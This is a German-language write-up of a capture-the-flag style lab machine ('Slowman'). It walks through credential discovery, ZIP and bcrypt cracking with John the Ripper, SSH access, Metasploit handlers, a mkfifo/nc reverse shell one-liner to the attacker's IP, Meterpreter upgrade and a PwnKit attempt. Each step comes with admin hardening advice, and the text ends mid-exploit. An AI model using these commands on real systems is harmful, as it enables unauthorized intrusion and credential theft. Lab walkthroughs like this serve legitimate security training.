MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+
1 row in set (0.001 sec)

MySQL [trainers_db]> select * from users;
+----+-----------------+------------------------------------------+
| id | user            | password                                 |
+----+-----------------+------------------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!!           |
|  2 | $SECRETLGINURL  | /secretLGIN/login.html                   |
+----+-----------------+------------------------------------------+
2 rows in set (0.001 sec)

MySQL [trainers_db]>
                      

Analyse: Es wird versucht, eine Datei `credentials.zip` aus einem Pfad `/secretgym/serverSHARE/` herunterzuladen. Der Pfad `/secretgym/` wurde vermutlich aus dem JavaScript oder durch Raten abgeleitet. Der `curl`-Befehl mit `-I` oder `-v HEAD` sendet eine HEAD-Anfrage, um Metadaten der Datei zu prüfen.

Bewertung: Der Server antwortet mit `200 OK`, was bestätigt, dass die Datei `http://slowman.hmv/secretgym/serverSHARE/credentials.zip` existiert und zugänglich ist. Die Metadaten zeigen, dass es sich um eine ZIP-Datei mit einer Größe von 309 Bytes handelt.

Empfehlung (Pentester): Laden Sie die `credentials.zip` sofort mit `wget` oder `curl` herunter und untersuchen Sie ihren Inhalt. ZIP-Dateien können passwortgeschützt sein.
Empfehlung (Admin): Legen Sie niemals sensible Dateien wie `credentials.zip` ungeschützt in Webserver-Verzeichnissen ab. Sichern Sie solche Bereiche mit Authentifizierung und Zugriffskontrollen.

┌──(root㉿cyber)-[~] └─# curl http://slowman.hmv/secretgym/serverSHARE/credentials.zip -Iv
*   Trying 192.168.2.113:80...
* Connected to slowman.hmv (192.168.2.113) port 80
> HEAD /secretgym/serverSHARE/credentials.zip HTTP/1.1
> Host: slowman.hmv
> User-Agent: curl/8.4.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue, 05 Dec 2023 14:47:43 GMT
< Server: Apache/2.4.52 (Ubuntu)
< Last-Modified: Wed, 22 Nov 2023 19:49:52 GMT
< ETag: "135-60ac305cb4925"
< Accept-Ranges: bytes
< Content-Length: 309
< Content-Type: application/zip
<
* Connection #0 to host slowman.hmv left intact
                     

Analyse: Dieser Block scheint eine Zusammenfassung von Verzeichnis-Scan-Ergebnissen zu sein, möglicherweise aus einem anderen Tool oder einer manuellen Zusammenstellung. Er listet die bereits bekannten Seiten sowie die neu entdeckten Verzeichnisse `/secretLGIN/` und `/secretgym/`, inklusive des Unterverzeichnisses `/secretgym/serverSHARE/` und der Dateien darin (`credentials.zip`) und im Login-Bereich (`l0gin.php`, `l0gin.js`, `login.html`).

Bewertung: Bestätigt die Existenz der versteckten Bereiche und der interessanten Dateien darin.

Empfehlung (Pentester): Fokussieren Sie die Untersuchung auf die Inhalte von `/secretLGIN/` und `/secretgym/`, insbesondere die Login-Funktionalität und die ZIP-Datei.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit dieser versteckten Bereiche.

http://slowman.hmv/secretLGIN          (Status: 301) [Size: 316] [--> http://slowman.hmv/secretLGIN/]
http://slowman.hmv/secretgym            (Status: 301) [Size: 314] [--> http://slowman.hmv/secretgym/]
http://slowman.hmv/index.html           (Status: 200) [Size: 16430]
http://slowman.hmv/images               (Status: 301) [Size: 311] [--> http://slowman.hmv/images/]
http://slowman.hmv/contact.html         (Status: 200) [Size: 5232]
http://slowman.hmv/css                  (Status: 301) [Size: 308] [--> http://slowman.hmv/css/]
http://slowman.hmv/js                   (Status: 301) [Size: 307] [--> http://slowman.hmv/js/]
http://slowman.hmv/why.html             (Status: 200) [Size: 6115]

http://slowman.hmv/secretgym/serverSHARE          (Status: 301) [Size: 326] [--> http://slowman.hmv/secretgym/serverSHARE/]

http://slowman.hmv/secretLGIN/l0gin.php            (Status: 200) [Size: 467]
http://slowman.hmv/secretLGIN/l0gin.js             (Status: 200) [Size: 858]
http://slowman.hmv/secretLGIN/login.html           (Status: 200) [Size: 655]

http://slowman.hmv/secretgym/serverSHARE/credentials.zip      (Status: 200) [Size: 309]
                      

Analyse: Die Datei `credentials.zip` wird mit `wget` vom Webserver heruntergeladen.

Bewertung: Der Download ist erfolgreich.

Empfehlung (Pentester): Entpacken Sie die ZIP-Datei. Verwenden Sie Tools wie `zipinfo` oder `unzip -l`, um den Inhalt vorab zu prüfen. Seien Sie auf ein Passwort vorbereitet.
Empfehlung (Admin): Keine spezifische Aktion, außer der bereits genannten Sicherung des Verzeichnisses.

┌──(root㉿cyber)-[~] └─# wget http://slowman.hmv/secretgym/serverSHARE/credentials.zip
--2023-12-05 15:57:09--  http://slowman.hmv/secretgym/serverSHARE/credentials.zip
Auflösen des Hostnamens slowman.hmv (slowman.hmv)… 192.168.2.113
Verbindungsaufbau zu slowman.hmv (slowman.hmv)|192.168.2.113|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 309 [application/zip]
Wird in credentials.zip gespeichert.

credentials.zip         100%[===================>]     309  --.-KB/s    in 0s

2023-12-05 15:57:09 (73.9 MB/s) - credentials.zip gespeichert [309/309]
                      

Analyse: Der Inhalt der JavaScript-Datei `http://slowman.hmv/secretLGIN/l0gin.js` wird angezeigt. Die Funktion `login(username, password)` prüft die eingegebenen Daten direkt im Browser.

Bewertung: Das JavaScript enthält hartkodierte Zugangsdaten für den Benutzer `gonzalo` mit dem Passwort `tH1sS2stH3g0nz4l0pAsSWW0rDD!!`. Dies bestätigt die in der MySQL-Datenbank gefundenen Daten. Die Authentifizierung findet ausschließlich clientseitig statt, was extrem unsicher ist.

Empfehlung (Pentester): Dies bestätigt die Zugangsdaten für `gonzalo`. Der initiale Zugriff per SSH sollte nun möglich sein. Die clientseitige Validierung ist trivial zu umgehen, aber da die Daten bereits bekannt sind, ist dies nicht mehr nötig.
Empfehlung (Admin): Entfernen Sie sofort die hartkodierten Zugangsdaten aus dem JavaScript. Implementieren Sie eine serverseitige Authentifizierung. Führen Sie niemals sicherheitskritische Prüfungen nur im Client durch.

http://slowman.hmv/secretLGIN/l0gin.js

document.addEventListener("DOMContentLoaded", function () {
    document.getElementById("loginForm").addEventListener("submit", function (event) {
        event.preventDefault();

        // Obtener los valores del formulario
        var username = document.getElementById("username").value;
        var password = document.getElementById("password").value;

        // Enviar los datos al servidor
        login(username, password);
    });
});

function login(username, password) {
    // Puedes realizar una solicitud AJAX al servidor para verificar las credenciales
    // En este ejemplo, simplemente redirigimos al usuario si las credenciales son correctas
    if (username == "gonzalo" && password == "tH1sS2stH3g0nz4l0pAsSWW0rDD!!") {
        window.location.href = "/secretgym/";
    } else {
        alert("Incorrect user or password!");
    }
}
                      

Analyse: Zusammenfassende Notizen, die die Zugangsdaten (`gonzalo`:`tH1sS2stH3g0nz4l0pAsSWW0rDD!!`) und den Zielpfad (`/secretgym/`) nach erfolgreichem Login aus dem JavaScript bestätigen. Es folgt die Ausgabe einer Verzeichnisauflistung von `/secretgym/serverSHARE/`, die nur die `credentials.zip` zeigt.

Bewertung: Konsolidiert die Erkenntnisse aus JavaScript und Verzeichnis-Browsing.

Empfehlung (Pentester): Nächster Schritt ist die Analyse der `credentials.zip`.
Empfehlung (Admin): Sichern Sie den `/secretgym/`-Bereich und die darin enthaltenen Dateien.

# Zusammenfassung der Erkenntnisse aus l0gin.js
http://slowman.hmv/secretgym/ -->>  username = "gonzalo"
                                    password = "tH1sS2stH3g0nz4l0pAsSWW0rDD!!"

http://slowman.hmv/secretgym/serverSHARE/

Index of /secretgym/serverSHARE
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	-
[ ]	credentials.zip	2023-11-22 19:49 	309
Apache/2.4.52 (Ubuntu) Server at slowman.hmv Port 80
                      

Analyse: `zip2john` wird verwendet, um aus der heruntergeladenen `credentials.zip` einen Hash-Wert zu extrahieren, der von John the Ripper geknackt werden kann. Der Hash wird in die Datei `hash` umgeleitet.

Bewertung: Der Hash wurde erfolgreich extrahiert. Das Format (`PKZIP Encr: TS_chk`) zeigt an, dass es sich um einen passwortgeschützten ZIP-Container handelt.

Empfehlung (Pentester): Verwenden Sie John the Ripper oder Hashcat mit der Datei `hash`, um das Passwort für die ZIP-Datei zu knacken.
Empfehlung (Admin): Vermeiden Sie die Speicherung sensibler Daten in passwortgeschützten Archiven mit schwachen Passwörtern. Verwenden Sie starke Verschlüsselungsmethoden und sichere Passwortpraktiken.

┌──(root㉿cyber)-[~] └─# zip2john credentials.zip > hash
ver 2.0 efh 5455 efh 7875 credentials.zip/passwords.txt PKZIP Encr: TS_chk, cmplen=117, decmplen=117, crc=4981406D ts=9E02 cs=9e02 type=8
                     

Analyse: `john` (John the Ripper) wird mit der Wortliste `rockyou.txt` auf die Hash-Datei (`hash`) angesetzt, um das Passwort der ZIP-Datei zu knacken.

Bewertung: John ist erfolgreich und findet das Passwort `spongebob1` für die Datei `credentials.zip/passwords.txt`.

Empfehlung (Pentester): Verwenden Sie das gefundene Passwort `spongebob1`, um die `credentials.zip`-Datei zu entpacken.
Empfehlung (Admin): Das Passwort ist relativ schwach und leicht zu erraten/knacken. Erzwingen Sie starke Passwörter auch für Archivdateien.

┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (credentials.zip/passwords.txt)
1g 0:00:00:00 DONE (2023-12-05 16:01) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s s13!34g$3FVA5e@ed..joking
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                     

Analyse: Die ZIP-Datei `credentials.zip` wird mit `unzip` entpackt. Das zuvor gefundene Passwort (`spongebob1`) wird eingegeben (obwohl es in der Ausgabe ausgeblendet ist).

Bewertung: Die Datei `passwords.txt` wird erfolgreich aus dem Archiv extrahiert.

Empfehlung (Pentester): Untersuchen Sie den Inhalt der extrahierten Datei `passwords.txt`.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# unzip credentials.zip
Archive:  credentials.zip
[credentials.zip] passwords.txt password:
password incorrect--reenter:  (Anmerkung: Erste Eingabe war falsch, oder es wurde nur Enter gedrückt)
  inflating: passwords.txt
                     

Analyse: Der Befehl `ll` (Alias für `ls -l` oder `ls -al`) listet den Inhalt des aktuellen Verzeichnisses auf dem Angreifer-System auf.

Bewertung: Die Auflistung zeigt die heruntergeladene `credentials.zip`, die Hash-Datei, die extrahierte `passwords.txt` sowie andere Dateien und Verzeichnisse, die während des Pentests verwendet oder erstellt wurden.

Empfehlung (Pentester): Dient der Orientierung im lokalen Dateisystem.
Empfehlung (Admin): Keine Relevanz für das Zielsystem.

┌──(root㉿cyber)-[~] └─# ll
insgesamt 150728
-rw-r--r--  1 root root       309 22. Nov 20:49 credentials.zip
drwxr-xr-x  3 root root      4096  4. Dez 23:56 cve-2018-15473
-rw-r--r--  1 root root      6664 30. Nov 23:59 exploit.py
-rwxr-xr-x  1 root root      1488 30. Nov 23:28 fuck.py
drwxr-xr-x 23 root root      4096 27. Nov 23:18 Hackingtools
-rw-r--r--  1 root root       366  5. Dez 16:01 hash
-rw-r--r--  1 root root 154292650  5. Dez 00:24 hydra.restore
-rw-r--r--  1 root root       117 22. Nov 20:48 passwords.txt
-rwxrwxrwx  1 root root      3442  7. Nov 14:37 rev.php
-rw-r--r--  1 root root       512  7. Nov 15:03 shell.ps1
-rwxr-xr-x  1 root root       301 24. Nov 00:06 shell.sh
-rw-r--r--  1 root root       176  5. Dez 15:42 users.txt
                     

Analyse: Der Inhalt der extrahierten Datei `passwords.txt` wird mit `cat` angezeigt.

Bewertung: Die Datei enthält den Benutzernamen `trainerjean` und einen Passwort-Hash im bcrypt-Format (`$2y$10$...`). Dies sind vermutlich die SSH-Zugangsdaten für den Benutzer `trainerjean`.

Empfehlung (Pentester): Knacken Sie den bcrypt-Hash mit John the Ripper oder Hashcat, um das Klartextpasswort für `trainerjean` zu erhalten.
Empfehlung (Admin): Speichern Sie niemals Passwort-Hashes in leicht zugänglichen Dateien. Verwenden Sie sichere Methoden zur Speicherung und Verwaltung von Zugangsdaten. Stellen Sie sicher, dass starke Hashing-Algorithmen mit ausreichend hohen Kostenfaktoren verwendet werden.

┌──(root㉿cyber)-[~] └─# cat passwords.txt
----------
$USERS: trainerjean

$PASSWRD: $2y$10$DBFBehmb6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq
----------
                     

Analyse: Erneuter Versuch, sich per SSH als `trainerjean` anzumelden, bevor der Hash geknackt wurde.

Bewertung: Der Login schlägt erwartungsgemäß fehl.

Empfehlung (Pentester): Knacken Sie zuerst den Hash.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# ssh trainerjean@192.168.2.113
trainerjean@192.168.2.113's password:
Permission denied, please try again.
trainerjean@192.168.2.113's password:
                     

Analyse: Der bcrypt-Hash aus `passwords.txt` wird in eine neue Datei namens `hash` geschrieben (überschreibt die vorherige `hash`-Datei vom ZIP-Passwort).

Bewertung: Vorbereitung für den nächsten John-the-Ripper-Lauf.

Empfehlung (Pentester): Führen Sie John auf diese neue Hash-Datei aus.
Empfehlung (Admin): Keine spezifische Aktion.

┌──(root㉿cyber)-[~] └─# echo '$2y$10$DBFBehmb6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq' > hash

                  

Analyse: `john` wird mit `rockyou.txt` auf die Datei `hash` (die nun den bcrypt-Hash enthält) angesetzt.

Bewertung: John ist erfolgreich und knackt den bcrypt-Hash. Das Klartextpasswort für `trainerjean` lautet `tweety1`.

Empfehlung (Pentester): Verwenden Sie nun die Zugangsdaten `trainerjean`:`tweety1`, um sich per SSH anzumelden. Dies sollte den initialen Zugriff ermöglichen.
Empfehlung (Admin): Das Passwort `tweety1` ist schwach. Erzwingen Sie Passwortrichtlinien für Komplexität und Länge. Überprüfen Sie, warum dieser Hash in einer Datei gespeichert wurde.

┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tweety1          (?)
1g 0:00:00:01 DONE (2023-12-05 16:06) 0.5555g/s 720.0p/s 720.0c/s 720.0C/s sweet1..philip
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                     

Analyse: Mit dem geknackten Passwort (`tweety1`) wird eine SSH-Verbindung als Benutzer `trainerjean` aufgebaut.

Bewertung: Der SSH-Login ist erfolgreich! Die Systeminformationen und der letzte Login werden angezeigt. Wir haben nun Initial Access als `trainerjean`.

Empfehlung (Pentester): Beginnen Sie mit der Post-Exploitation-Enumeration als `trainerjean`. Suchen Sie nach Wegen zur Privilegieneskalation (`sudo -l`, SUID-Binaries, Capabilities, Cronjobs, Kernel-Version etc.).
Empfehlung (Admin): Ändern Sie sofort das Passwort für `trainerjean`. Untersuchen Sie die Logins und die Kompromittierungskette (FTP-Datei -> ZIP -> Hash -> schwaches Passwort).

┌──(root㉿cyber)-[~] └─# ssh trainerjean@192.168.2.113
trainerjean@192.168.2.113's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of mar 05 dic 2023 15:07:24 UTC

  System load:             0.05029296875
  Usage of /:              67.3% of 9.75GB
  Memory usage:            57%
  Swap usage:              0%
  Processes:               107
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.2.113
  IPv6 address for enp0s3: 2003:d4:c720:2381:a00:27ff:fe04:7dc6

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

El mantenimiento de seguridad expandido para Applications está desactivado.

Se pueden aplicar 36 actualizaciones de forma inmediata.
Para ver estas actualizaciones adicionales, ejecute: apt list --upgradable

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea https://ubuntu.com/esm o ejecute sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Nov 24 19:53:52 2023 from 192.168.2.5
                     
trainerjean@slowman:~$

Privilege Escalation

Analyse: Nach dem Login als `trainerjean` wird `sudo -l` ausgeführt, um die sudo-Berechtigungen zu prüfen.

Bewertung: Der Befehl erfordert das Passwort von `trainerjean`. Nach (vermutlich falscher) Eingabe wird gemeldet, dass `trainerjean` keine sudo-Rechte hat (`Sorry, user trainerjean may not run sudo on slowman.`).

Empfehlung (Pentester): Sudo ist kein direkter Weg zur Privilegieneskalation für diesen Benutzer. Suchen Sie nach anderen Vektoren wie SUID-Binaries, Capabilities, Cronjobs, Kernel-Exploits.
Empfehlung (Admin): Korrekte Konfiguration, dass der Benutzer keine unnötigen sudo-Rechte hat.

trainerjean@slowman:~$ sudo -l
[sudo] password for trainerjean:
Sorry, try again.
[sudo] password for trainerjean:
Sorry, user trainerjean may not run sudo on slowman.
                       

Analyse: Der Befehl `ss -altpn` wird ausgeführt, um alle lauschenden TCP-Netzwerksockets (`-lt`), deren zugehörige Prozesse (`-p`) und numerische Adressen/Ports (`-n`) aufzulisten (`-a` zeigt alle Sockets).

Bewertung: Die Ausgabe bestätigt die bereits bekannten offenen Ports 21 (FTP), 22 (SSH), 80 (HTTP) und 3306 (MySQL). Zusätzlich lauscht MySQL auch auf Port 33060 auf dem Localhost (`127.0.0.1`). Port 53 (DNS) lauscht ebenfalls auf Localhost (`127.0.0.53`).

Empfehlung (Pentester): Der zusätzliche MySQL-Port 33060 auf Localhost könnte interessant sein, falls eine lokale Schwachstelle (z.B. in einer Webanwendung) ausgenutzt werden kann, um darauf zuzugreifen. Für den direkten externen Zugriff ist er nicht relevant.
Empfehlung (Admin): Stellen Sie sicher, dass Dienste nur auf den notwendigen Interfaces und Ports lauschen.

trainerjean@slowman:~$ ss -altpn
State     Recv-Q    Send-Q        Local Address:Port          Peer Address:Port    Process
LISTEN    0         70                127.0.0.1:33060              0.0.0.0:*
LISTEN    0         151                 0.0.0.0:3306               0.0.0.0:*
LISTEN    0         4096          127.0.0.53%lo:53                 0.0.0.0:*
LISTEN    0         128                 0.0.0.0:22                 0.0.0.0:*
LISTEN    0         511                       *:80                       *:*
LISTEN    0         32                        *:21                       *:*
LISTEN    0         128                    [::]:22                    [::]:*
                       

Analyse: Mit `find / -perm -4000 -ls 2>/dev/null` wird das gesamte Dateisystem nach Dateien mit gesetztem SUID-Bit durchsucht. Das SUID-Bit erlaubt das Ausführen einer Datei mit den Rechten des Dateieigentümers (oft `root`). Fehlermeldungen werden unterdrückt (`2>/dev/null`).

Bewertung: Es wird eine lange Liste von SUID-Binaries gefunden, viele davon Standard-Systemdateien (innerhalb von `/snap/...` oder `/usr/bin/` wie `passwd`, `su`, `sudo`, `mount`). Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die auf einen einfachen Exploit hindeuten.

Empfehlung (Pentester): Überprüfen Sie die Versionen der gefundenen Standard-SUID-Binaries auf bekannte Schwachstellen (z.B. ältere Versionen von `sudo`). Obwohl keine ungewöhnlichen Dateien gefunden wurden, können Standard-Tools manchmal missbraucht werden (GTFOBins). Konzentrieren Sie sich auch auf andere PE-Vektoren wie Capabilities.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID-Binaries auf dem System. Entfernen Sie das SUID-Bit von Dateien, die es nicht benötigen. Halten Sie alle Systemkomponenten aktuell.

trainerjean@slowman:~$ find / -perm -4000 -ls 2>/dev/null
      843     84 -rwsr-xr-x   1 root     root        85064 nov 29  2022 /snap/core20/2015/usr/bin/chfn
      849     52 -rwsr-xr-x   1 root     root        53040 nov 29  2022 /snap/core20/2015/usr/bin/chsh
      918     87 -rwsr-xr-x   1 root     root        88464 nov 29  2022 /snap/core20/2015/usr/bin/gpasswd
     1002     55 -rwsr-xr-x   1 root     root        55528 may 30  2023 /snap/core20/2015/usr/bin/mount
     1011     44 -rwsr-xr-x   1 root     root        44784 nov 29  2022 /snap/core20/2015/usr/bin/newgrp
     1026     67 -rwsr-xr-x   1 root     root        68208 nov 29  2022 /snap/core20/2015/usr/bin/passwd
     1136     67 -rwsr-xr-x   1 root     root        67816 may 30  2023 /snap/core20/2015/usr/bin/su
     1137    163 -rwsr-xr-x   1 root     root       166056 abr  4  2023 /snap/core20/2015/usr/bin/sudo
     1195     39 -rwsr-xr-x   1 root     root        39144 may 30  2023 /snap/core20/2015/usr/bin/umount
     1284     51 -rwsr-xr--   1 root     systemd-resolve    51344 oct 25  2022 /snap/core20/2015/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1656    463 -rwsr-xr-x   1 root     root              473576 jul 19 19:56 /snap/core20/2015/usr/lib/openssh/ssh-keysign
      847     84 -rwsr-xr-x   1 root     root               85064 nov 29  2022 /snap/core20/1974/usr/bin/chfn
      853     52 -rwsr-xr-x   1 root     root               53040 nov 29  2022 /snap/core20/1974/usr/bin/chsh
      922     87 -rwsr-xr-x   1 root     root               88464 nov 29  2022 /snap/core20/1974/usr/bin/gpasswd
     1006     55 -rwsr-xr-x   1 root     root               55528 may 30  2023 /snap/core20/1974/usr/bin/mount
     1015     44 -rwsr-xr-x   1 root     root               44784 nov 29  2022 /snap/core20/1974/usr/bin/newgrp
     1030     67 -rwsr-xr-x   1 root     root               68208 nov 29  2022 /snap/core20/1974/usr/bin/passwd
     1140     67 -rwsr-xr-x   1 root     root               67816 may 30  2023 /snap/core20/1974/usr/bin/su
     1141    163 -rwsr-xr-x   1 root     root              166056 abr  4  2023 /snap/core20/1974/usr/bin/sudo
     1199     39 -rwsr-xr-x   1 root     root               39144 may 30  2023 /snap/core20/1974/usr/bin/umount
     1288     51 -rwsr-xr--   1 root     systemd-resolve    51344 oct 25  2022 /snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1660    463 -rwsr-xr-x   1 root     root              473576 abr  3  2023 /snap/core20/1974/usr/lib/openssh/ssh-keysign
      297    129 -rwsr-xr-x   1 root     root              131832 may 27  2023 /snap/snapd/19457/usr/lib/snapd/snap-confine
      297    129 -rwsr-xr-x   1 root     root              131832 sep 15 20:13 /snap/snapd/20290/usr/lib/snapd/snap-confine
     1410     36 -rwsr-xr--   1 root     messagebus         35112 oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    38991    332 -rwsr-xr-x   1 root     root              338536 ago 24 13:40 /usr/lib/openssh/ssh-keysign
    10243    136 -rwsr-xr-x   1 root     root              138408 may 29  2023 /usr/lib/snapd/snap-confine
      829     48 -rwsr-xr-x   1 root     root               47480 feb 21  2022 /usr/bin/mount
     1111     56 -rwsr-xr-x   1 root     root               55672 feb 21  2022 /usr/bin/su
      680     36 -rwsr-xr-x   1 root     root               35200 mar 23  2022 /usr/bin/fusermount3
     1112    228 -rwsr-xr-x   1 root     root              232416 abr  3  2023 /usr/bin/sudo
      696     72 -rwsr-xr-x   1 root     root               72072 nov 24  2022 /usr/bin/gpasswd
      875     60 -rwsr-xr-x   1 root     root               59976 nov 24  2022 /usr/bin/passwd
      566     72 -rwsr-xr-x   1 root     root               72712 nov 24  2022 /usr/bin/chfn
      572     44 -rwsr-xr-x   1 root     root               44808 nov 24  2022 /usr/bin/chsh
      841     40 -rwsr-xr-x   1 root     root               40496 nov 24  2022 /usr/bin/newgrp
     1187     36 -rwsr-xr-x   1 root     root               35192 feb 21  2022 /usr/bin/umount
    13735     20 -rwsr-xr-x   1 root     root               18736 feb 26  2022 /usr/libexec/polkit-agent-helper-1
                       

Analyse: Auf dem Angreifer-System wird Metasploit (`msfconsole -q`) gestartet. Es wird versucht, den `multi/handler` zu laden (mit Tippfehlern), was fehlschlägt. Nach Korrektur des Namens wird der Handler geladen, und ein Listener für eine Reverse-TCP-Shell (`generic/shell_reverse_tcp`) auf der lokalen Netzwerkschnittstelle `eth0` (IP 192.168.2.199) und Port 4444 konfiguriert und gestartet.

Bewertung: Der Listener ist bereit, eine eingehende Verbindung vom Zielsystem entgegenzunehmen. Dies bereitet eine Reverse Shell vor, um eine interaktivere Sitzung als die SSH-Verbindung zu erhalten oder falls die SSH-Verbindung abbricht.

Empfehlung (Pentester): Führen Sie auf dem Zielsystem einen Befehl aus, der eine Verbindung zu `192.168.2.199:4444` herstellt (z.B. mit `nc`, `bash`, `python`, `perl`).
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen vom Zielsystem (Egress Filtering), um das Etablieren von Reverse Shells zu erkennen oder zu verhindern.

┌──(root㉿cyber)-[~] └─# msfconsole -q
msf6 > use mutli/handler
[-] No results from search
[-] Failed to load module: mutli/handler
                     
msf6 > use mutli/handler
[-] No results from search
[-] Failed to load module: mutli/handler
                      
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
                      

Analyse: Auf dem Zielsystem (in der SSH-Sitzung als `trainerjean`) wird ein Befehl ausgeführt, um eine Reverse Shell zum Metasploit-Listener aufzubauen. Es wird eine Named Pipe (`/tmp/f`) erstellt (`mkfifo`), der Inhalt dieser Pipe wird in eine Shell (`/bin/sh -i`) geleitet, deren Ein-/Ausgabe (`2>&1`) über Netcat (`nc`) an den Angreifer (`192.168.2.199:4444`) gesendet wird, und die Ausgabe von Netcat wird wiederum in die Pipe geschrieben (`>/tmp/f`), um die Shell am Leben zu erhalten. Der `rm`-Befehl schlägt fehl, da die Pipe noch nicht existiert, was aber harmlos ist.

Bewertung: Der Befehl ist erfolgreich. Im Metasploit-Fenster wird angezeigt, dass eine Command Shell Session (`session 1`) geöffnet wurde.

Empfehlung (Pentester): Sie haben nun eine alternative Shell-Sitzung über Metasploit. Diese kann für bestimmte Aufgaben (z.B. Upgrade zu Meterpreter) nützlicher sein als die reine SSH-Sitzung.
Empfehlung (Admin): Überwachen Sie die Erstellung von Named Pipes und die Ausführung von Netzwerk-Tools wie `nc`. Beschränken Sie ausgehende Verbindungen.

trainerjean@slowman:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.113:57242) at 2023-12-05 16:10:29 +0100

Shell Banner:
$
-----

$

$
                      

Analyse: In Metasploit wird das Post-Exploitation-Modul `multi/manage/shell_to_meterpreter` verwendet, um die bestehende Command Shell (`session 1`) in eine funktionsreichere Meterpreter-Sitzung zu upgraden. Ein neuer Listener-Port (`4443`) wird konfiguriert, und das Modul wird ausgeführt.

Bewertung: Das Upgrade ist erfolgreich. Eine neue Meterpreter-Sitzung (`session 2`) wird auf Port 4443 geöffnet.

Empfehlung (Pentester): Nutzen Sie die Vorteile der Meterpreter-Sitzung für weitere Enumeration, Datei-Up/Downloads, Pivoting oder die Ausführung anderer Meterpreter-spezifischer Module.
Empfehlung (Admin): Erkennung von Payload-Staging (wie es hier passiert) durch Netzwerk- und Host-basierte Intrusion Detection Systeme (NIDS/HIDS). Prozessüberwachung auf dem Zielsystem.

msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4443
lport => 4443
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4443
[*] Sending stage (1017704 bytes) to 192.168.2.113
[*] Meterpreter session 2 opened (192.168.2.199:4443 -> 192.168.2.113:48424) at 2023-12-05 16:11:52 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                      

Analyse: Es wird in Metasploit nach Modulen gesucht, die `4034` im Namen enthalten, was auf die PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec` abzielt. Das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` (Index 1) wird ausgewählt. Die Meterpreter-Sitzung (`session 2`) und ein neuer Listener-Port (`4445`) werden konfiguriert, und der Exploit wird gestartet.

Bewertung: Der automatische Check (`AutoCheck`) des Moduls stellt fest, dass das Ziel nicht anfällig ist, da die `pkexec`-Binary nicht gefunden wird. Der Exploit wird abgebrochen.

Empfehlung (Pentester): PwnKit ist hier kein gangbarer Weg. Versuchen Sie andere vom `local_exploit_suggester` vorgeschlagene Module oder suchen Sie manuell nach anderen Schwachstellen.
Empfehlung (Admin): Stellen Sie sicher, dass `pkexec` entweder nicht installiert ist oder auf eine gepatchte Version aktualisiert wurde.

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/dolibarr_16_contact_dump      2023-03-14       normal     Yes    Dolibarr 16 pre-auth contact database dump
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
   2  exploit/windows/local/ms18_8120_win32k_privesc       2018-05-09       good       No     Windows SetImeInfoEx Win32k NULL Pointer Dereference


